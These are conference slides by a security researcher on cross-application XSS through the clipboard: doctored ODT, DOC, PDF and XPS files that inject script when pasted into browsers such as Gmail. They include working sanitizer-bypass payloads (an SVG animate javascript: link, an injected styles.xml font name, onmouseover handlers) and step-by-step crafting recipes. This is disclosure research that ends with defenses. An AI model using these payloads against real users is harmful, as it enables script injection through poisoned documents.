Copy & Pest
A case-study on the clipboard, blind trust and invisible cross-application XSS

A talk by Mario Heiderich
mario@cure53.de || @0x6D6172696F
Don't accept any documents from this man

- **Dr.-Ing. Mario Heiderich**
  - Researcher and Post-Doc, Ruhr-**Uni** Bochum
    - PhD Thesis about Client Side Security and Defense
  - Founder of Cure53
    - Pentest- & Security-Firm located in Berlin
    - Consulting, Workshops, Trainings
    - „Simply the Best Company in the World“
  - Published Author and Speaker
    - Specialized on HTML5, DOM and SVG Security
    - JavaScript, XSS and Client Side Attacks
- **HTML5 Security Cheatsheet**
- **And DOMPurify!**
  - @0x6D6172696F
  - mario@cure53.de
So, this happened several months ago, Mr. Derp opens Gmail and writes a message.

(you, fellow attendees will see the live demo, for everyone else we have screen-shots)
We open a document
We copy & paste into Gmail
Technical Background

- There's some things we need to talk about – and will in a few minutes
  - What did just happen here?
  - Why did it happen?
  - How else can this happen?
  - What can we do against it?
  - Who should actually fix it?
- Now let's get to it, shall we
Thanks, Ange Albertini :D
What did just happen here?

- We have seen an attack that abuses a copy&paste interaction
- We copied from a seemingly harmless document, here LibreOffice
- We then pasted into the browser, here the Gmail compose window
- And all of a sudden, HTML and JavaScript unfold and cause XSS. Or even XAS.
- Although the application we pasted from doesn't understand HTML at all. Strange, right?
Why did it happen?

• To understand why it happened, we first must understand where the HTML came from.
• And what is the transport medium for the rogue data.
• We also need to understand what is expected behavior.
• And then we can learn how to deviate from that.
Let's go back in time

In the years before computers were around, even before photocopiers were around, manuscript editing was a tedious craft. And it involved scissors and often what was called “cut and paste”.

Editors were actually cutting text passages and images and pasted them somewhere else. With actual glue.
Let's stay back in time

That is Apple's Lisa.

This computer supported something that has been first implemented in text editors in the mid seventies.

That feature was called “cut and paste” and allowed developers to move segments of text in a more convenient way. No scissors involved.

Apple however was the one to name the interim memory to store cut and paste data.

They called it “The Clipboard”.

The Origins of the Clipboard

Data transfer with expanded clipboard formats
EP 0717354 A1, 1995, MSFT
The Clipboard Today

- It stores intermediate data
- Sometimes the data goes from one position in a document to another position
- Sometimes across documents
- Sometimes across applications
- Sometimes across systems
- Usually triggered by user-interaction
  - Such as copy & paste
  - Or cut & paste
  - Or drag & drop
- The clipboard can handle many different data formats
- And that's where it's getting interesting!
A simple example

- Let's now copy a piece of text and see what happens in the clipboard.
- For examination, we use the tool **ClipView** from Peter Büttner, written in July 2003.
- So, we simply open the editor, *notepad.exe*, copy something and use the tool.
Clipboard & Notepad

justin bieber u r the greatest. follow me on tiwteww!
JUSTIN Bieber! U are my HERO!

Please follow me on Twertr
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span style='font-size:22.0pt;line-height:107%'>JUSTIN <span style='color:red'>B</span><span style='color:#70AD47;mso-themecolor:accent6'>e</span><span style='background:yellow;mso-highlight:yellow'>i</span>ber! U are my HERO!</span></b></p>

<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><u><span style='font-size:22.0pt;line-height:107%;background:yellow;mso-highlight:yellow'>Please follow me on Twitter</span></u></b></p>

<!-[endif]-->
Let's Recap

- The clipboard is a complex object containing more than just text.
- It can hold several different data formats at the same time. Let's call those “buckets” for simplicity sake.
- An application, upon copying or similar creates those buckets and fills them with data.
- Another application can pick one of these upon pasting.
- If e.g. Office creates an HTML bucket from DOC, MSIE can say “Hey – I'll take that one.”
- There's almost unlimited types of buckets – it's all up to the application.
- A bucket can also contain file information, whole folders, bitmaps, sound waves, whatever is necessary.
GetLastError() returned: The operation completed successfully.
Now, Security

• If one application creates data that other applications may use, injections might be possible.

• One application might be able to produce data that harms the other application. Or its user.

• But how can we get test if that is possible? And how can we find injection points?
Let's analyze it!

We create a ODT file in LibreOffice. We add some interesting and meaningful text with styles and set it to a non-standard font.

Then we copy the text so we have it in our clipboard.
What's in our clipboard?

We paste the copied text into the browser.

Specifically a small tool we created for getting more intelligence on the HTML bucket of the clipboard.
Aaaaw Gaaawd J<font color="#fe0000">u</font><span style="background: #00ccff">st</span><font color="#00cc00">iii</font>n!

Falllaaaaw maw ahn Twataaaah!
Does it correspond?

• Now, we can see that certain seemingly influencable parts from the document are in the generated HTML

• If we have a look into the document itself, will we find and can we change those parts?

• And create a HTML injection with them?

• Let's try. OpenOffice documents are ZIP files.

• One of the contained files is called *styles.xml*

• **It looks like this**
The ODT's Content

![File Contents]

- Configurations2
- META-INF
- Thumbnails
- content.xml
- manifest.rdf
- meta.xml
- mimetype
- settings.xml
- styles.xml

9 objects (29.5 kB), 1 object selected (12.0 kB)
Let's play with that!
Now, what can we do?

- We can in fact inject into the clipboard HTML!
- We can have a valid doc with no traces of an attack by editing *styles.xml*
- We specifically change font family names.
- We can copy from that document and paste into the browser.
- And we will be able to generate HTML from thin air.
- Because our injected text breaks the generated style element and keeps going from there.
- *We cannot* inject scripts or *iframes* though.
- **Because browsers sanitize the HTML clipboard!**
OpenOffice → Browser

• Well, we know already that by injecting into the font-family names inside styles.xml we can inject HTML on paste
• But we cannot simply inject HTML that executes JavaScript
• It will be stripped by the in-browser clipboard sanitizer
• So we need a bypass for that filter. And we need to squeeze that into the font-family name
• Is there a bypass? Yes there is – even a multi-browser bypass working on both Chrome and Firefox!
OpenOffice → Browser

```html
</style><svg><style>svg {position: fixed}</style><svg {top: 0}</style><svg {left: 0}</style><svg {height: 10000px}</style><svg {width: 10000px}</style><svg {opacity: 0}</style> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"><circle r="4000"></circle> <animate attributeName="xlink:href" begin="0" from="javascript:alert(document.domain)" to="&" /></a>
```
OpenOffice → Browser

<office:font-face-decls><style:font-face style:name="&lt;/style&gt;&amp;lt;div contenteditable=false&amp;gt;&amp;lt;svg&amp;gt;&amp;lt;style&amp;gt;svg {position:fixed}&amp;lt;/style&amp;gt;&amp;lt;style&amp;gt;svg {top:0}&amp;lt;/style&amp;gt;&amp;lt;style&amp;gt;svg {left:0}&amp;lt;/style&amp;gt; &amp;lt;style&amp;gt;svg {height:10000px}&amp;lt;/style&amp;gt; &amp;lt;style&amp;gt;svg {width:10000px}&amp;lt;/style&amp;gt; &amp;lt;style&amp;gt;svg {opacity:0}&amp;lt;/style&amp;gt; &amp;lt;a xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; xlink:href=&quot;?&quot;&amp;gt; &amp;lt;circle r=&quot;4000&quot;&amp;gt;&amp;lt;/circle&amp;gt; &amp;lt;animate attributeName=&quot;xlink:href&quot; begin=&quot;0&quot; to=&quot;javascript:alert(document.domain)&quot; to=&quot;?&quot;&amp;gt; &amp;lt;/a&amp;gt;1" svg:font-family="Harmless"/>
OpenOffice → Browser
OpenOffice → Browser

I. We create an OpenOffice document
II. We rename the file from ODT to ZIP
III. We open the ZIP and then edit the file styles.xml
IV. Inside that file we find “Micro Hei” and change it
V. We use a HTML-encoded closing style element and an animatable SVG
VI. We do this because Firefox and Chrome sanitize the clipboard
VII. By using the SVG trick, we bypass the sanitizer
VIII. We save the styles.xml, rename the file from ZIP to ODT
IX. We copy from OpenOffice, paste into the browser
X. We have XSS on Firefox and Chrome
PDF → Browser
PDF → Browser
PDF → Browser

• We create a benign PDF
• We find the section on font-family names
• We modify them carefully with a hex editor
• We learn that parenthesis is not allowed in font-family names
• We evade that by using
  • VBS for IE10 or IE11 in IE10-docmode
  • ES6 and execution via `alert`1` for IE12
• Adobe Reader produces a RTF bucket
• IE “understands” the RTF bucket and turns it into HTML
• We have an XSS
MS Office → Browser

HELLO!

HELLO!
MS Office → Browser
MS Office → Browser
<div tabindex="1" class="Am Al editable LW-avf" id="j9" role="textbox" style="direction: ltr; -ms-overflow-x: hidden; min-height: 172px;" contenteditable="true" hidefocus="true" aria-label="Message Body" itacorner="6,7:1,1,0,0" g_editable="true">
    <font color="#000000" face="Times New Roman" size="3"></font>
    <p style="margin: 0in 0in 8pt;">
        <b>
            <s>
                <span style="line-height: 107%; font-family: "; font-size: 36pt;" onmouseover="alert(4)="/",serif;"
                "\0022\0027onmouseover="alert(6)="/";color:red" mso-hansi-font-family:\"\0022
                \0027onmouseover="alert(5)="/";mso-bidi-font-family:">
                    <font color="#000000">HELLO!</font>
                </span>
            </s>
        </b>
    </p>
    <font color="#000000" face="Times New Roman" size="3"></font>
    <p style="margin: 0in 0in 8pt;">...
    </p>
</div>
I. We create a DOC file with a hyperlink
II. We carefully edit it via hex editor
III. We add some HTML around the hyperlink
IV. We use contenteditable=false to make it “clickable”
V. Word creates a HTML bucket on copy
VI. MSIE “understands” that upon pasting
VII. We have an XSS

Or we do it just as with OpenOffice and use a DOCX instead of a DOC, we open it as ZIP, edit around in the content file and cause XSS like that
XPS → Browser
XPS → Browser

```html
<div tabindex="1" class="Am A1 editable LW-avf" id=":dj" role="textbox" style="direction: ltr; -ms-overflow-x: hidden; min-height: 223px;" contenteditable="true" hidefocus="true" aria-label="Message Body" itacorner="6,7;1,1,0,0" g_editable="true">
Version:0.9
StartHtml: 105
EndHtml: 559
StartFragment: 334
EndFragment: 527
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></meta>
<!--BeginFragment-->

```
XPS → Browser: Cookbook

I. We take some free font from somewhere
II. We modify its properties using font-forgé
III. We add XSS payload into one of the properties
IV. We install the font on our system
V. We create a document and save it as XPS
VI. The font will now be embedded
VII. We use the XPS on a different system
VIII. The font-family name will contain XSS payload
IX. IE understands that
X. We have another XSS
   Again upon paste, this time no other user interaction required
Overview

- **PDF → Browser**, works in MSIE. PDF readers do not create a HTML Bucket but MSIE also understands RTF buckets and transforms them to HTML on its own.

- **DOC/DOCX → Browser**, works in MSIE – from Office 2013 but not the Word Viewer. Similarly works in other office products

- **XPS → Browser**, works in MSIE because of a bug in the clipboard sanitizer. Necessary tools here are a malicious font created with font-forgé

- **ODT → Browser**, works in Chrome and Firefox because of clipboard sanitizer bugs. Sanitizer between tabs is fine, sanitizer between applications is broken

- **Most of the attacks survive changes in the document!**

- “Affected” office software
  - Office 2013, LibreOffice and similar tools, PDF Reader, FoxIT Reader
  - They can be used to poison the clipboard with malicious markup

- **Affected browsers**
  - Just MSIE, Chrome, Opera, Safari, Firefox, anything WebKit or Blink. Strangely, Blink on Windows behaves differently from Blink on *nix
More Surface

- Attackers can use Flash to stuff your clipboard too
- Flash can fill the HTML and the RTF bucket
- All you need is a click
- You can also embed a Flash in a PDF and once it's clicked it fills your clipboard
- On MSIE, you also have ways to fill the clipboard without user consent, but no HTML or RTF buckets

- **So Flash remains the most attractive vector here**
- Yet, abusing that smartly is a different story
Defense

- All discovered attack techniques were reported to browser vendors. They need to fix their clipboard sanitizers.
- Websites can fix the shortcomings of browsers too – and sanitize after paste.
  - We can for instance utilize our tool DOMPurify to do the job.
- To illustrate how it works, we created a browser extension that does two things:
  - It sanitizes the HTML of an element pasted into after pasting. Not optimal but good enough for a proof of concept.
  - It allows to show the HTML bucket of the clipboard. Very useful.
- Let's have a look at that!
- Oh, and NoScript has a fix too!
- And consider using **Ctrl+Shift+V** a bit more often :)
Future Work

- We have seen data being copied from one software into another
- The manipulated documents were used to inject data into the clipboard – that will then execute in a whole different context
- We mainly focused on **office software** and **browsers**. Plausible attack and proper impact. Any why not, right?
- But we didn't have a look at different directions. Or different types of software
- That said, the attack surface is huge!
- Clipboard interaction is a major convenience tool and cannot be replaced easily
- But it's completely transparent to the common user and much damage can be dealt
- And by just looking at different software, you might find bugs and attack vectors within hours
- Maybe a PoC || GTFO with some copy&paste surprises?
Conclusion

Be careful when you copy & paste.

Don't trust that invisible thing that contains and deals out complex data.

One day, it's gonna bite you :)}
The End

- Question?
- Comments?
- Thanks a lot!